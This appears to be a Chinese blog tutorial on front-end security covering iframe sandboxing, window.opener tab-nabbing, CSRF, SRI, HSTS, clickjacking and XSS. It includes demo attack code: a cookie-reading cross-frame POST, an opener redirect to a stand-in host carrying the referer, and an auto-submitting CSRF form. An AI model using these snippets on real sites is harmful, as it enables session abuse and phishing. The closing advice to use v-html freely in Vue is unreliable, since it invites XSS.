常见前端安全问题介绍与防范实战

501 阅读13分钟

随着大前端的快速发展,各种技术不断更新,前端的安全问题也值得我们重视。

前端常见的安全问题有7个方面,下面我就亲身带大家在项目中实际操作一下(昨天面试的时候面试官问我这个问题,我觉得自己答得还行,全答出来了,但接下来他一句“讲了这么多,你自己在项目里到底用过没?”emmm实话实话,我确实是没用过,毕竟也是近几个月才学习到,所以今天赶紧来实际操作一下,计算机真的是门实践的科学呀!)

1)、iframe

1.1如何让自己的网站不被其他网站的 iframe 引用?

检测当前网站是否被第三方iframe引用 若相等证明没有被第三方引用,若不等证明被第三方引用,当发现被引用时弹出提示。

这段代码是写在router.beforeEach逻辑中的

if(top.location !== self.location){
    ElMessageBox.confirm('您访问的网站可能存在安全风险!请注意信息安全!', '警告', {
        confirmButtonText: '确定',
        cancelButtonText: '取消',
        type: 'error'
    }).then(() => {
        ElMessage.error('请您谨慎访问!');
    }).catch(() => {
        ElMessage.error('请您谨慎访问!');
    });
}

测试代码:

<body>
<iframe src="http://localhost:3000/" frameborder="0">
</iframe>
</body>

效果:可以看到,在iframe 中引用本网站时发生了提示,告用户注意信息安全

1.2如何禁用,被使用的 iframe 对当前网站某些操作?

sandbox是html5的新属性,主要是提高iframe安全系数。iframe因安全问题而臭名昭著,这主要是因为iframe常被用于嵌入到第三方中,然后执行某些恶意操作。

现在有一场景:我的网站需要 iframe 引用某网站,但是不想被该网站操作DOM、不想加载某些js(广告、弹框等)、当前窗口被强行跳转链接等,我们可以设置 sandbox 属性。如使用多项用空格分隔。

  • allow-same-origin:允许被视为同源,即可操作父级DOM或cookie等
  • allow-top-navigation:允许当前iframe的引用网页通过url跳转链接或加载
  • allow-forms:允许表单提交
  • allow-scripts:允许执行脚本文件
  • allow-popups:允许浏览器打开新窗口进行跳转
  • “”:设置为空时上面所有允许全部禁止

测试结果如下:

父级页面:

<body>
<h1>
    父级网页
</h1>
<iframe src="http://localhost:63342/programme/03-09.html"
        sandbox="allow-forms allow-popups allow-scripts allow-top-navigation allow-same-origin"
        frameborder="0">
</iframe>
<script>
    document.cookie = 'parent:here'
</script>
</body>

被引用的页面:

<body>
<h1>
    被引用的网页
</h1>
<a href="https://www.baidu.com">访问百度</a>
<script>
   console.log( window.parent.document.cookie)
    const form = new FormData()
   form.append('name','ywj')
   var xhr=new XMLHttpRequest();
   xhr.open("post","http://127.0.0.1/");
   xhr.send(form);
</script>
</body>

测试结果:

可以看到,在设置全属性允许后,不论是访问父级的cookie、发送form、执行脚本等都能执行。

将sandbox设置为空后,再次尝试:可以看到,刚才的操作已经被禁止了

所以在实际项目中,使用ifame标签时,一定要配置好sandbox属性

2)、opener

如果在项目中需要 打开新标签 进行跳转一般会有两种方式

1) HTML -> <a target='_blank' href='http://www.baidu.com'>2) JS -> window.open('http://www.baidu.com')

 这两种方式看起来没有问题,但是存在漏洞。通过这两种方式打开的页面可以使用 window.opener 来访问源页面的 window 对象。

场景:A 页面通过 a标签 或 window.open 方式,打开 B 页面。

但是 B 页面存在恶意代码如下:

const url=encodeURIComponent('{{header.referer}}');window.opener.location.replace('https://www.baidu.com')

【此代码仅针对打开新标签有效】

此时,用户正在浏览新标签页,但是原来网站的标签页已经被导航到了百度页面。

恶意网站可以伪造一个足以欺骗用户的页面,使得进行恶意破坏。

即使在跨域状态下 opener 仍可以调用 location.replace 方法。

测试a标签的方式:

父级页面

<body>
<h1>
    父级网页
</h1>
<a href="http://localhost:63342/programme/03-09.html"  target="_blank">跳转到子网页</a>
<script>
    //window.open('http://localhost:63342/programme/03-09.html')
    document.cookie = 'parent:here'
</script>
</body>

子页面:

<body>
<h1>
    被引用的网页
</h1>

<script>
    const url = encodeURIComponent('{{header.referer}}');
    console.log(window.opener)
    window.opener.location.replace('https://a.fake.site/?'+ url);
</script>
</body>

用chrome最新版本测试结果居然是失败的,window.opener为空?这可和描述不相符啊,再用ie11版本进行测试,成功了。经过一番查阅文档后发现,在新版本的webkit内核浏览器上,需要额外在a标签上加rel="opener" 才能在子窗口访问window.opener。

<a href="http://localhost:63342/programme/03-09.html" rel="opener" target="_blank">跳转到子网页</a>

而在测试window.open方法时候都是成功的

防御措施:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 ReferrerPolicy 头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用 a 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="http://localhost:63342/programme/03-09.html" rel="noreferrer" target="_blank">跳转到子网页</a>

2. noopener

为了安全,现代浏览器都支持在 a  标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null。

<a href="http://localhost:63342/programme/03-09.html" rel="noopener" target="_blank">跳转到子网页</a>

3. JavaScript

现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="http://localhost:63342/programme/03-09.html" rel="noopener noreferrer nofollow" target="_blank">跳转到子网页</a>

3)、CSRF / XSRF(跨站请求伪造)

简单点说,CSRF攻击就是 攻击者利用受害者的身份,以受害者的名义发送恶意请求。与XSS(Cross-site scripting,跨站脚本攻击)不同的是,XSS的目的是获取用户的身份信息,攻击者窃取到的是用户的身份(session/cookie),而CSRF则是利用用户当前的身份去做一些未经过授权的操作。

CSRF攻击最早在2001年被发现,由于它的请求是从用户的IP地址发起的,因此在服务器上的web日志中可能无法检测到是否受到了CSRF攻击,正是由于它的这种隐蔽性,很长时间以来都没有被公开的报告出来,直到2007年才真正的被人们所重视。

利用CSRF攻击,主要包含两种方式,一种是基于GET请求方式的利用,另一种是基于POST请求方式的利用。

使用GET请求方式的利用是最简单的一种利用方式,其隐患的来源主要是由于在开发系统的时候没有按照HTTP动词的正确使用方式来使用造成的。对于GET请求来说,它所发起的请求应该是只读的,不允许对网站的任何内容进行修改。

但是事实上并不是如此,很多网站在开发的时候,研发人员错误的认为GET/POST的使用区别仅仅是在于发送请求的数据是在Body中还是在请求地址中,以及请求内容的大小不同。对于一些危险的操作比如删除文章,用户授权等允许使用GET方式发送请求,在请求参数中加上文章或者用户的ID,这样就造成了只要请求地址被调用,数据就会产生修改。

现在假设攻击者(用户ID=121)他想让别人关注自己账户,而正好网站程序员的设计是关注接口:

http://keqidao.com/user/follow?id = 被关注者id

于是他给发了篇动态,

“快来看,这里有你喜欢的keqidao.com/user/follow…

 然后就有许多不明真相的用户点了链接,对他进行了关注。

针对这种方式的防御方法也很简单,一定要搞清楚,GET请求只能用来获取信息,不能用来做其他的用途。

相对于GET方式的利用,POST方式的利用更加复杂一些,难度也大了一些。攻击者需要伪造一个能够自动提交的表单来发送POST请求。

恶意代码:

<script>
$(function() {
    $('#CSRF_forCSRFm').trigger('submit');
});
</script>
<form action="http://a.com/user/grant_super_user" id="CSRF_form" method="post">
    <input name="uid" value="121" type="hidden">
</form>

只要想办法实现用户访问的时候自动提交表单就可以了。其实也不难,还记得我们之前提到的a标签和window.open漏洞吗,子页面访问cookie即可

防范CSRF攻击,其实本质就是要求网站能够识别出哪些请求是非正常用户主动发起的。这就要求我们在请求中嵌入一些额外的授权数据,让网站服务器能够区分出这些未授权的请求,比如说在请求参数中添加一个字段,这个字段的值从登录用户的Cookie或者页面中获取的(这个字段的值必须对每个用户来说是随机的,不能有规律可循)。攻击者伪造请求的时候是无法获取页面中与登录用户有关的一个随机值或者用户当前cookie中的内容的,因此就可以避免这种攻击。

防范技术

令牌同步模式(Synchronizer token pattern,简称STP)是在用户请求的页面中的所有表单中嵌入一个token,在服务端验证这个token的技术。token可以是任意的内容,但是一定要保证无法被攻击者猜测到或者查询到。攻击者在请求中无法使用正确的token,因此可以判断出未授权的请求。

Cookie-to-Header Token

对于使用Js作为主要交互技术的网站,将CSRF的token写入到cookie中

Set-Cookie: CSRF-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/

然后使用javascript读取token的值,在发送http请求的时候将其作为请求的header

X-CSRF-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

最后服务器验证请求头中的token是否合法。

验证码

使用验证码可以杜绝CSRF攻击,但是这种方式要求每个请求都输入一个验证码,显然没有哪个网站愿意使用这种粗暴的方式,用户体验太差,用户会疯掉的。

请求来源限制——验证 HTTP Referer 字段

方法:在HTTP请求头中有一个字段叫Referer,它记录了请求的来源地址。 服务器需要做的是验证这个来源地址是否合法,如果是来自一些不受信任的网站,则拒绝响应。

优点:零成本,简单易实现。

缺点:由于这个方法严重依赖浏览器自身,因此安全性全看浏览器。

  1. 兼容性不好:每个浏览器对于Referer的具体实现可能有差别。
  2. 并不一定可靠:在一些古老的垃圾浏览器中,Referer可以被篡改。
  3. 对用户不友好:Referer值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权。因此有些用户可能会开启浏览器防止跟踪功能,不提供Referer,从而导致正常用户请求被拒绝。

4)、CDN劫持

出于性能考虑,前端应用通常会把一些静态资源存放到CDN(Content Delivery Networks)上面,例如 js 脚本和 style 文件。这么做可以显著提高前端应用的访问速度,但与此同时却也隐含了一个新的安全风险。如果攻击者劫持了CDN,或者对CDN中的资源进行了污染,攻击者可以肆意篡改我们的前端页面,对用户实施攻击。

现在的CDN以支持SRI为荣,script 和 link 标签有了新的属性 integrity,这个属性是为了防止校验资源完整性来判断是否被篡改。它通过 验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

使用 SRI 需要两个条件:一是要保证 资源同域 或开启跨域,二是在

实际验证,以腾讯云为例,在存储桶放入一个time.js做测试,配置cdn加速与cname域名解析

放入文件

配置 Access-Control-Allow-Origin

在项目中使用:

<script
        crossorigin="anonymous"
        integrity="sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="
        src="http://xxxxx.com/time.js"> </script>

<script>

可看到获取成功了

而当校验失败后:

5)、HSTS(HTTP Strict Transport Security:HTTP严格传输安全)

网站接受从 HTTP 请求跳转到 HTTPS 请求的做法,例如我们输入“http://www.baidu.com”“www.baidu.com”最终都会被302重定向到“https://www.baidu.com”。这就存在安全风险,当我们第一次通过 HTTP 或域名进行访问时,302重定向有可能会被劫持,篡改成一个恶意或钓鱼网站。

HSTS:通知浏览器此网站禁止使用 HTTP 方式加载,浏览器应该自动把所有尝试使用 HTTP 的请求自动替换为 HTTPS 进行请求。用户首次访问时并不受 HSTS 保护,因为第一次还未形成链接。我们可以通过 浏览器预置HSTS域名列表 或 将HSTS信息加入到域名系统记录中,来解决第一次访问的问题。参考地址:www.freebuf.com/articles/we…

不过这部分得后端同学来配置了,服务器权限不在我手里哈哈

看了下我现在参与的一个网站项目确实是还没搞这些,赶紧给老师提个意见加上d=====( ̄▽ ̄*)b

6)、ClickJacking(点击劫持)

ClickJacking 翻译过来被称为点击劫持。一般会利用透明 iframe 覆盖原网页诱导用户进行某些操作达成目的。

防御措施

  • 在HTTP投中加入 X-FRAME-OPTIONS 属性,此属性控制页面是否可被嵌入 iframe 中【DENY:不能被所有网站嵌套或加载;SAMEORIGIN:只能被同域网站嵌套或加载;ALLOW-FROM URL:可以被指定网站嵌套或加载。】
  • 判断当前网页是否被 iframe 嵌套(详情在第一条 firame 中)

7)、XSS/CSS(跨站脚本攻击)

XSS又叫CSS(Cross Site Script),跨站脚本攻击:攻击者在目标网站植入恶意脚本(js / html),用户在浏览器上运行时可以获取用户敏感信息(cookie / session)、修改web页面以欺骗用户、与其他漏洞相结合形成蠕虫等。

浏览器遇到 html 中的 script 标签时,会解析并执行其中的js代码。针对这种情况,我们对特殊字符进行转译就好了(vue/react等主流框架已经避免类似问题,vue举例:不能在template中写script标签,无法在js中通过ref或append等方式动态改变或添加script标签)

XSS类型:

  • 持久型XSS:将脚本植入到服务器上,从而导致每个访问的用户都会执行
  • 非持久型XSS:对个体用户某url的参数进行攻击

防御措施(对用户输入内容和服务端返回内容进行过滤和转译)

现代大部分浏览器都自带 XSS 筛选器,vue / react 等成熟框架也对 XSS 进行一些防护即便如此,我们在开发时也要注意和小心对用户输入内容和服务端返回内容进行过滤和转译重要内容加密传输合理使用get/post等请求方式对于URL携带参数谨慎使用我们无法做到彻底阻止,但是能增加黑客攻击成本,当成本与利益不符时自然会降低风险

对于vue开发者来说的话,可以大胆的使用v-html进行渲染即可。

参考文章:

segmentfault.com/a/119000000…

www.imooc.com/article/135…

zhuanlan.zhihu.com/p/42080934

zhuanlan.zhihu.com/p/83865185